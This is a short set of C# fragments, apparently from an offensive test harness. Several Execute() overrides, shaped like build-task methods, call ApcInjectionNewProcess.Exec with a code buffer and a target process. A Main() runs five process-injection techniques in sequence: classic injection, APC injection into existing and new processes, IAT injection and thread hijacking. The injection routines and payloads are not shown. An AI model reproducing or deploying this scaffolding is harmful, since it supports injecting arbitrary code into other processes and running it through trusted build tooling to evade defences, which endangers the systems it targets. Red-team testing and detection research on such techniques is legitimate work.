public override bool Execute() { Console.WriteLine(this.MyProcess); Console.WriteLine(this.MyProperty); ApcInjectionNewProcess.Exec(this.MyCode, this.MyProcess); return(true); }
public static void Main() { //Test One: Console.WriteLine("{0}", "#1 ProcessInject"); ProcessInject.Inject(); Console.WriteLine("{0}", "ProcessInject Complete"); //Test Two: Console.WriteLine("{0}", "#2 ApcInjectionAnyProcess"); ApcInjectionAnyProcess.Inject(); Console.WriteLine("{0}", "ApcInjectionAnyProcess Complete"); //Test Three: Console.WriteLine("{0}", "#3 ApcInjectionNewProcess"); ApcInjectionNewProcess.Inject(); Console.WriteLine("{0}", "ApcInjectionNewProcess Complete"); //Test Four: Console.WriteLine("{0}", "#4 IatInjection"); IatInjection.Inject(); Console.WriteLine("{0}", "IatInjection Complete"); //Test Five: Console.WriteLine("{0}", "#5 ThreadHijack"); ThreadHijack.Inject(); Console.WriteLine("{0}", "ThreadHijack Complete "); }
public override bool Execute() { ApcInjectionNewProcess.Exec(this.MyCode, this.MyProcess); return(true); }
public override bool Execute() { Console.ReadLine(); ApcInjectionNewProcess.Exec(this.MyCode, this.MyProcess); return(true); }